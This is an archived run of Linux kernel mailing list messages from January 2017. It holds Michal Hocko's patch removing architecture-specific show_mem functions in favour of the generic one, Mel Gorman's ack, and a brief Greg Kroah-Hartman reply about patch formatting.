	"dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org" <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
	"jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org" <jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, "hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>,
	"sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org" <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>,
	"egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org" <egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org>,
	"jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org" <jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org>,
	"linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"jesper.nilsson-VrBV9hrLPhE@public.gmane.org" <jesper.nilsson-VrBV9hrLPhE@public.gmane.org>,
	"linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org" <linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
	"linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org" <l
To: Bart Van Assche <Bart.VanAssche-XdAiOPVOjttBDgjK7y7TUQ@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Thu Jan 12 08:34:48 2017
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1cRZuJ-0008MY-JX
	for glki-iommu@m.gmane.org; Thu, 12 Jan 2017 08:34:47 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 844F2902;
	Thu, 12 Jan 2017 07:34:51 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from localhost (unknown [78.192.101.3])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id 5AC796C;
	Thu, 12 Jan 2017 07:34:48 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <1484173670.2619.28.camel-XdAiOPVOjttBDgjK7y7TUQ@public.gmane.org>
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:16589 gmane.linux.ports.mips.general:57447 gmane.linux.ports.ia64:27583 gmane.linux.ports.sparc:24357 gmane.linux.drivers.rdma:45483 gmane.linux.ports.hexagon:1103 gmane.linux.ports.sh.devel:55018 gmane.linux.kernel.pci:58172 gmane.linux.kernel.arc:2002 gmane.linux.kernel.metag:1226 gmane.linux.ports.arm.kernel:549930 gmane.linux.ports.parisc:27174 gmane.linux.kernel:2386175 gmane.linux.ports.alpha:4025 gmane.linux.ports.ppc64.devel:137174
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/16589>

On Wed, Jan 11, 2017 at 10:28:05PM +0000, Bart Van Assche wrote:
> On Wed, 2017-01-11 at 21:31 +0100, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org wrote:
> > That's a big sign that your patch series needs work.  Break it up into
> > smaller pieces, it should be possible, which will make merges easier
> > (well, different in a way.)
> 
> Hello Greg,
> 
> Can you have a look at the attached patches? These three patches are a
> splitup of the single patch at the start of this e-mail thread.

Please send them in the proper format (i.e. one patch per email), and I
will be glad to review them.  Otherwise it's really hard to do so, would
you want to review attachments?

thanks,

greg k-h

From - Thu Nov 08 21:39:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.ia64,gmane.linux.ports.parisc
Subject: [RFC PATCH 3/4] arch, mm: remove arch specific show_mem
Date: Thu, 12 Jan 2017 14:16:58 +0100
Lines: 285
Approved: news@gmane.org
Message-ID: <20170112131659.23058-4-mhocko@kernel.org>
References: <20170112131659.23058-1-mhocko@kernel.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1484227055 18281 195.159.176.226 (12 Jan 2017 13:17:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 12 Jan 2017 13:17:35 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Johannes Weiner <hannes@cmpxchg.org>,
	Mel Gorman <mgorman@suse.de>,
	David Rientjes <rientjes@google.com>,
	Michal Hocko <mhocko@suse.com>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	"David S. Miller" <davem@davemloft.net>,
	Chris Metcalf <cmetcalf@mellanox.com>,
	Guan Xuetao <gxt@mprc.pku.edu.cn>,
	linux-ia64@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: <linux-mm@kvack.org>
Original-X-From: owner-linux-mm@kvack.org Thu Jan 12 14:17:27 2017
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1cRfFg-0002jz-HK
	for glkm-linux-mm-2@m.gmane.org; Thu, 12 Jan 2017 14:17:12 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 00FA66B025E; Thu, 12 Jan 2017 08:17:12 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id E8D0B6B0260; Thu, 12 Jan 2017 08:17:11 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id D06FD6B0261; Thu, 12 Jan 2017 08:17:11 -0500 (EST)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wm0-f69.google.com (mail-wm0-f69.google.com [74.125.82.69])
	by kanga.kvack.org (Postfix) with ESMTP id 78E7A6B025E
	for <linux-mm@kvack.org>; Thu, 12 Jan 2017 08:17:11 -0500 (EST)
Original-Received: by mail-wm0-f69.google.com with SMTP id l2so3682952wml.5
        for <linux-mm@kvack.org>; Thu, 12 Jan 2017 05:17:11 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-original-authentication-results:x-gm-message-state:from:to:cc
         :subject:date:message-id:in-reply-to:references;
        bh=0exYnxF3cTVJ1GeQ182oDRR1AFstrwFxZC5Or2efqCg=;
        b=pgwX9G3tKlV1Bjm25pQ5jxnMRHhaHC1dL44pbl1th3mKZ34JHf74C/KDou572P48KF
         wRTqLtUZl60nr4bIpfY/Rfd9uHk2PaZljAbNtNAJAlO6JaBhcBfddfPoHyPxJKbgLghF
         zYl6A/jwQcriuBNZiob0w+L8yazenBFx6gNxW195O2qvAdRrA9LTtv0ufMTkl/Msb18m
         SZmcQ3wndMgc1V4X8Fh1g2/nHshpT6DrmrTciLI6Z/ir2IhkOO3ReeHNtTyA8Uup+FE7
         0l/yGUdvhKLBDdsObTyYx5RQZinVpmlUGW1a44KlDCYGfj7O2L7qCW71sTxEtKGLjvTK
         vp/w==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of mstsxfx@gmail.com designates 74.125.82.67 as permitted sender) smtp.mailfrom=mstsxfx@gmail.com
X-Gm-Message-State: AIkVDXJaIHGjoWAj3J9wtzgTAD79yJdB4pqntqw0nIjRppk7BDuct2aP+uQnMeQrcPscBZw4FzqCPvDTSWzBavXmJoWNQX8JbDI+nvEfLZ78mGimAHWg90T64pzLMInzaXTERMJCg9lPCb3srYByHmRp3TcdZzgZeWLFqn10vIbg6RK+JUwSyJkco9BuTZKQVsl/BIReyrzVBzsT6AKIKkM2F/6YsVepg0h8gDjr8XrSq+cGwHHpL+anNZJ2cv1DsCXbiRJvt8lQrtj6dZPqkvKOQMXalPNKTRgvJ74XvW7oPuQ=
X-Received: by 10.223.177.130 with SMTP id q2mr7011765wra.72.1484227030936;
        Thu, 12 Jan 2017 05:17:10 -0800 (PST)
X-Received: by 10.223.177.130 with SMTP id q2mr7011725wra.72.1484227030275;
        Thu, 12 Jan 2017 05:17:10 -0800 (PST)
Original-Received: from mail-wm0-f67.google.com (mail-wm0-f67.google.com. [74.125.82.67])
        by mx.google.com with ESMTPS id i67si1829800wmh.90.2017.01.12.05.17.10
        for <linux-mm@kvack.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 12 Jan 2017 05:17:10 -0800 (PST)
Received-SPF: pass (google.com: domain of mstsxfx@gmail.com designates 74.125.82.67 as permitted sender) client-ip=74.125.82.67;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of mstsxfx@gmail.com designates 74.125.82.67 as permitted sender) smtp.mailfrom=mstsxfx@gmail.com
Original-Received: by mail-wm0-f67.google.com with SMTP id r144so3622864wme.0
        for <linux-mm@kvack.org>; Thu, 12 Jan 2017 05:17:10 -0800 (PST)
X-Received: by 10.223.173.232 with SMTP id w95mr7020479wrc.165.1484227029803;
        Thu, 12 Jan 2017 05:17:09 -0800 (PST)
Original-Received: from tiehlicka.suse.cz ([213.151.95.130])
        by smtp.gmail.com with ESMTPSA id gp6sm13599991wjc.16.2017.01.12.05.17.08
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 12 Jan 2017 05:17:09 -0800 (PST)
X-Mailer: git-send-email 2.11.0
In-Reply-To: <20170112131659.23058-1-mhocko@kernel.org>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:164251 gmane.linux.ports.ia64:27584 gmane.linux.ports.parisc:27175
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/164251>

From: Michal Hocko <mhocko@suse.com>

We have a generic implementation for quite some time already. If there
is any arch specific information to be printed then we should add a
callback called from the generic code rather than duplicate the whole
show_mem. The current code has resulted in the code duplication and
the output divergence which is both confusing and adds maintainance
costs. Let's just get rid of this mess.

Cc: Tony Luck <tony.luck@intel.com>
Cc: Fenghua Yu <fenghua.yu@intel.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: "David S. Miller" <davem@davemloft.net>
Cc: Chris Metcalf <cmetcalf@mellanox.com>
Cc: Guan Xuetao <gxt@mprc.pku.edu.cn>
Cc: linux-ia64@vger.kernel.org
Cc: linux-parisc@vger.kernel.org
Signed-off-by: Michal Hocko <mhocko@suse.com>
---
 arch/ia64/mm/init.c      | 48 -----------------------------------------------
 arch/parisc/mm/init.c    | 49 ------------------------------------------------
 arch/sparc/mm/init_32.c  | 11 -----------
 arch/tile/mm/pgtable.c   | 45 --------------------------------------------
 arch/unicore32/mm/init.c | 44 -------------------------------------------
 5 files changed, 197 deletions(-)

diff --git a/arch/ia64/mm/init.c b/arch/ia64/mm/init.c
index 1841ef69183d..46afc8d5ebfc 100644
--- a/arch/ia64/mm/init.c
+++ b/arch/ia64/mm/init.c
@@ -684,51 +684,3 @@ int arch_remove_memory(u64 start, u64 size)
 }
 #endif
 #endif
-
-/**
- * show_mem - give short summary of memory stats
- *
- * Shows a simple page count of reserved and used pages in the system.
- * For discontig machines, it does this on a per-pgdat basis.
- */
-void show_mem(unsigned int filter)
-{
-	int total_reserved = 0;
-	unsigned long total_present = 0;
-	pg_data_t *pgdat;
-
-	printk(KERN_INFO "Mem-info:\n");
-	show_free_areas(filter);
-	printk(KERN_INFO "Node memory in pages:\n");
-	for_each_online_pgdat(pgdat) {
-		unsigned long present;
-		unsigned long flags;
-		int reserved = 0;
-		int nid = pgdat->node_id;
-		int zoneid;
-
-		if (skip_free_areas_node(filter, nid))
-			continue;
-		pgdat_resize_lock(pgdat, &flags);
-
-		for (zoneid = 0; zoneid < MAX_NR_ZONES; zoneid++) {
-			struct zone *zone = &pgdat->node_zones[zoneid];
-			if (!populated_zone(zone))
-				continue;
-
-			reserved += zone->present_pages - zone->managed_pages;
-		}
-		present = pgdat->node_present_pages;
-
-		pgdat_resize_unlock(pgdat, &flags);
-		total_present += present;
-		total_reserved += reserved;
-		printk(KERN_INFO "Node %4d:  RAM: %11ld, rsvd: %8d, ",
-		       nid, present, reserved);
-	}
-	printk(KERN_INFO "%ld pages of RAM\n", total_present);
-	printk(KERN_INFO "%d reserved pages\n", total_reserved);
-	printk(KERN_INFO "Total of %ld pages in page table cache\n",
-	       quicklist_total_size());
-	printk(KERN_INFO "%ld free buffer pages\n", nr_free_buffer_pages());
-}
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index e02ada312be8..64bfdf636f39 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -653,55 +653,6 @@ void __init mem_init(void)
 unsigned long *empty_zero_page __read_mostly;
 EXPORT_SYMBOL(empty_zero_page);
 
-void show_mem(unsigned int filter)
-{
-	int total = 0,reserved = 0;
-	pg_data_t *pgdat;
-
-	printk(KERN_INFO "Mem-info:\n");
-	show_free_areas(filter);
-
-	for_each_online_pgdat(pgdat) {
-		unsigned long flags;
-		int zoneid;
-
-		pgdat_resize_lock(pgdat, &flags);
-		for (zoneid = 0; zoneid < MAX_NR_ZONES; zoneid++) {
-			struct zone *zone = &pgdat->node_zones[zoneid];
-			if (!populated_zone(zone))
-				continue;
-
-			total += zone->present_pages;
-			reserved = zone->present_pages - zone->managed_pages;
-		}
-		pgdat_resize_unlock(pgdat, &flags);
-	}
-
-	printk(KERN_INFO "%d pages of RAM\n", total);
-	printk(KERN_INFO "%d reserved pages\n", reserved);
-
-#ifdef CONFIG_DISCONTIGMEM
-	{
-		struct zonelist *zl;
-		int i, j;
-
-		for (i = 0; i < npmem_ranges; i++) {
-			zl = node_zonelist(i, 0);
-			for (j = 0; j < MAX_NR_ZONES; j++) {
-				struct zoneref *z;
-				struct zone *zone;
-
-				printk("Zone list for zone %d on node %d: ", j, i);
-				for_each_zone_zonelist(zone, z, zl, j)
-					printk("[%d/%s] ", zone_to_nid(zone),
-								zone->name);
-				printk("\n");
-			}
-		}
-	}
-#endif
-}
-
 /*
  * pagetable_init() sets up the page tables
  *
diff --git a/arch/sparc/mm/init_32.c b/arch/sparc/mm/init_32.c
index eb8287155279..c6afe98de4d9 100644
--- a/arch/sparc/mm/init_32.c
+++ b/arch/sparc/mm/init_32.c
@@ -55,17 +55,6 @@ extern unsigned int sparc_ramdisk_size;
 
 unsigned long highstart_pfn, highend_pfn;
 
-void show_mem(unsigned int filter)
-{
-	printk("Mem-info:\n");
-	show_free_areas(filter);
-	printk("Free swap:       %6ldkB\n",
-	       get_nr_swap_pages() << (PAGE_SHIFT-10));
-	printk("%ld pages of RAM\n", totalram_pages);
-	printk("%ld free pages\n", nr_free_pages());
-}
-
-
 unsigned long last_valid_pfn;
 
 unsigned long calc_highpages(void)
diff --git a/arch/tile/mm/pgtable.c b/arch/tile/mm/pgtable.c
index 7cc6ee7f1a58..492a7361e58e 100644
--- a/arch/tile/mm/pgtable.c
+++ b/arch/tile/mm/pgtable.c
@@ -36,51 +36,6 @@
 
 #define K(x) ((x) << (PAGE_SHIFT-10))
 
-/*
- * The normal show_free_areas() is too verbose on Tile, with dozens
- * of processors and often four NUMA zones each with high and lowmem.
- */
-void show_mem(unsigned int filter)
-{
-	struct zone *zone;
-
-	pr_err("Active:%lu inactive:%lu dirty:%lu writeback:%lu unstable:%lu free:%lu\n slab:%lu mapped:%lu pagetables:%lu bounce:%lu pagecache:%lu swap:%lu\n",
-	       (global_node_page_state(NR_ACTIVE_ANON) +
-		global_node_page_state(NR_ACTIVE_FILE)),
-	       (global_node_page_state(NR_INACTIVE_ANON) +
-		global_node_page_state(NR_INACTIVE_FILE)),
-	       global_node_page_state(NR_FILE_DIRTY),
-	       global_node_page_state(NR_WRITEBACK),
-	       global_node_page_state(NR_UNSTABLE_NFS),
-	       global_page_state(NR_FREE_PAGES),
-	       (global_page_state(NR_SLAB_RECLAIMABLE) +
-		global_page_state(NR_SLAB_UNRECLAIMABLE)),
-	       global_node_page_state(NR_FILE_MAPPED),
-	       global_page_state(NR_PAGETABLE),
-	       global_page_state(NR_BOUNCE),
-	       global_node_page_state(NR_FILE_PAGES),
-	       get_nr_swap_pages());
-
-	for_each_zone(zone) {
-		unsigned long flags, order, total = 0, largest_order = -1;
-
-		if (!populated_zone(zone))
-			continue;
-
-		spin_lock_irqsave(&zone->lock, flags);
-		for (order = 0; order < MAX_ORDER; order++) {
-			int nr = zone->free_area[order].nr_free;
-			total += nr << order;
-			if (nr)
-				largest_order = order;
-		}
-		spin_unlock_irqrestore(&zone->lock, flags);
-		pr_err("Node %d %7s: %lukB (largest %luKb)\n",
-		       zone_to_nid(zone), zone->name,
-		       K(total), largest_order ? K(1UL) << largest_order : 0);
-	}
-}
-
 /**
  * shatter_huge_page() - ensure a given address is mapped by a small page.
  *
diff --git a/arch/unicore32/mm/init.c b/arch/unicore32/mm/init.c
index be2bde9b07cf..f4950fbfe574 100644
--- a/arch/unicore32/mm/init.c
+++ b/arch/unicore32/mm/init.c
@@ -57,50 +57,6 @@ early_param("initrd", early_initrd);
  */
 struct meminfo meminfo;
 
-void show_mem(unsigned int filter)
-{
-	int free = 0, total = 0, reserved = 0;
-	int shared = 0, cached = 0, slab = 0, i;
-	struct meminfo *mi = &meminfo;
-
-	printk(KERN_DEFAULT "Mem-info:\n");
-	show_free_areas(filter);
-
-	for_each_bank(i, mi) {
-		struct membank *bank = &mi->bank[i];
-		unsigned int pfn1, pfn2;
-		struct page *page, *end;
-
-		pfn1 = bank_pfn_start(bank);
-		pfn2 = bank_pfn_end(bank);
-
-		page = pfn_to_page(pfn1);
-		end  = pfn_to_page(pfn2 - 1) + 1;
-
-		do {
-			total++;
-			if (PageReserved(page))
-				reserved++;
-			else if (PageSwapCache(page))
-				cached++;
-			else if (PageSlab(page))
-				slab++;
-			else if (!page_count(page))
-				free++;
-			else
-				shared += page_count(page) - 1;
-			page++;
-		} while (page < end);
-	}
-
-	printk(KERN_DEFAULT "%d pages of RAM\n", total);
-	printk(KERN_DEFAULT "%d free pages\n", free);
-	printk(KERN_DEFAULT "%d reserved pages\n", reserved);
-	printk(KERN_DEFAULT "%d slab pages\n", slab);
-	printk(KERN_DEFAULT "%d pages shared\n", shared);
-	printk(KERN_DEFAULT "%d pages swap cached\n", cached);
-}
-
 static void __init find_limits(unsigned long *min, unsigned long *max_low,
 	unsigned long *max_high)
 {
-- 
2.11.0

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:39:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mel Gorman <mgorman@suse.de>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.ia64,gmane.linux.ports.parisc
Subject: Re: [RFC PATCH 3/4] arch, mm: remove arch specific show_mem
Date: Thu, 12 Jan 2017 13:48:46 +0000
Lines: 37
Approved: news@gmane.org
Message-ID: <20170112134846.rdrqoulc6in5bllj@suse.de>
References: <20170112131659.23058-1-mhocko@kernel.org>
 <20170112131659.23058-4-mhocko@kernel.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: blaine.gmane.org 1484228938 30171 195.159.176.226 (12 Jan 2017 13:48:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 12 Jan 2017 13:48:58 +0000 (UTC)
User-Agent: Mutt/1.6.2 (2016-07-01)
Cc: linux-mm@kvack.org, Andrew Morton <akpm@linux-foundation.org>,
	Johannes Weiner <hannes@cmpxchg.org>,
	David Rientjes <rientjes@google.com>,
	Michal Hocko <mhocko@suse.com>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	"David S. Miller" <davem@davemloft.net>,
	Chris Metcalf <cmetcalf@mellanox.com>,
	Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-ia64@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: Michal Hocko <mhocko@kernel.org>
Original-X-From: owner-linux-mm@kvack.org Thu Jan 12 14:48:51 2017
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1cRfkH-000762-Bj
	for glkm-linux-mm-2@m.gmane.org; Thu, 12 Jan 2017 14:48:49 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id DCDAF6B0253; Thu, 12 Jan 2017 08:48:53 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id D7D2F6B025E; Thu, 12 Jan 2017 08:48:53 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id C93176B0260; Thu, 12 Jan 2017 08:48:53 -0500 (EST)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-yb0-f198.google.com (mail-yb0-f198.google.com [209.85.213.198])
	by kanga.kvack.org (Postfix) with ESMTP id A347A6B0253
	for <linux-mm@kvack.org>; Thu, 12 Jan 2017 08:48:53 -0500 (EST)
Original-Received: by mail-yb0-f198.google.com with SMTP id l23so24508608ybj.6
        for <linux-mm@kvack.org>; Thu, 12 Jan 2017 05:48:53 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-original-authentication-results:x-gm-message-state:date:from:to
         :cc:subject:message-id:references:mime-version:content-disposition
         :in-reply-to:user-agent;
        bh=mgVqApRlPllMGOHldJIq8BGuhyMk1fmwGJBffZOeyho=;
        b=X9Pg+vN9o+un54IW59b1iwq3NDmj4vl5THCXSAQjCnXRSYoGP4SIXPKA2Lp0/QSX6y
         giBySJkLQKV4PWVmWeaMhCLA7b1OaKOn4fETi9R7j2Rjq9SNEYnoMMiOn/uw3ugKTpDj
         TheI3z6AXYQaxvqJfVq8DGf73WlJeWFjETzXhnWXOAicTgUHuQqqaaw6d5aVu7N1n8GB
         i6jxibUsruHrgLOdDOLmCUMpLflhK8RhhAVGASGgZ+JF4kiqc3A3bvhxQINCe4FJ1pGm
         atJc8cl3KT8iS66eT/oSyN/eXVuykjzCyKvGl9FsUs40V9YBQlSgucbEwU0wC0iPmwBY
         9dEg==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of mgorman@suse.de designates 195.135.220.15 as permitted sender) smtp.mailfrom=mgorman@suse.de
X-Gm-Message-State: AIkVDXK/FPJKQbK090whCXmI4Vqys4A2pK3ikEG/IhG1jIq2gRKVurhplLpOk/5008weNaTLhT2mDATGP0T3QAaJbOAWwUtJdPSWcgAqlCzZ1XmwdzLSd8TeHd8rvSmYU/UaQp5ZfQaQwGfah5cqOjM+glDBzjZk2ufWrA6QuCk2EcX8riP6uJgm8ODU
X-Received: by 10.13.237.131 with SMTP id w125mr10548859ywe.291.1484228933456;
        Thu, 12 Jan 2017 05:48:53 -0800 (PST)
X-Received: by 10.13.237.131 with SMTP id w125mr10548831ywe.291.1484228933080;
        Thu, 12 Jan 2017 05:48:53 -0800 (PST)
Original-Received: from mx2.suse.de (mx2.suse.de. [195.135.220.15])
        by mx.google.com with ESMTPS id h125si1948428wme.3.2017.01.12.05.48.52
        for <linux-mm@kvack.org>
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Thu, 12 Jan 2017 05:48:52 -0800 (PST)
Received-SPF: pass (google.com: domain of mgorman@suse.de designates 195.135.220.15 as permitted sender) client-ip=195.135.220.15;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of mgorman@suse.de designates 195.135.220.15 as permitted sender) smtp.mailfrom=mgorman@suse.de
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id 4530A75011;
	Thu, 12 Jan 2017 13:48:51 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20170112131659.23058-4-mhocko@kernel.org>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:164254 gmane.linux.ports.ia64:27585 gmane.linux.ports.parisc:27176
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/164254>

On Thu, Jan 12, 2017 at 02:16:58PM +0100, Michal Hocko wrote:
> From: Michal Hocko <mhocko@suse.com>
> 
> We have a generic implementation for quite some time already. If there
> is any arch specific information to be printed then we should add a
> callback called from the generic code rather than duplicate the whole
> show_mem. The current code has resulted in the code duplication and
> the output divergence which is both confusing and adds maintainance
> costs. Let's just get rid of this mess.
> 
> Cc: Tony Luck <tony.luck@intel.com>
> Cc: Fenghua Yu <fenghua.yu@intel.com>
> Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
> Cc: Helge Deller <deller@gmx.de>
> Cc: "David S. Miller" <davem@davemloft.net>
> Cc: Chris Metcalf <cmetcalf@mellanox.com>
> Cc: Guan Xuetao <gxt@mprc.pku.edu.cn>
> Cc: linux-ia64@vger.kernel.org
> Cc: linux-parisc@vger.kernel.org
> Signed-off-by: Michal Hocko <mhocko@suse.com>

This is overdue. The last time it was brought up, no one objected to
arch-specific information from show_mem but maybe they weren't looking
that carefully. For me;

Acked-by: Mel Gorman <mgorman@suse.de>

-- 
Mel Gorman
SUSE Labs

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:39:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nicolas Dichtel <nicolas.dichtel@6wind.com>
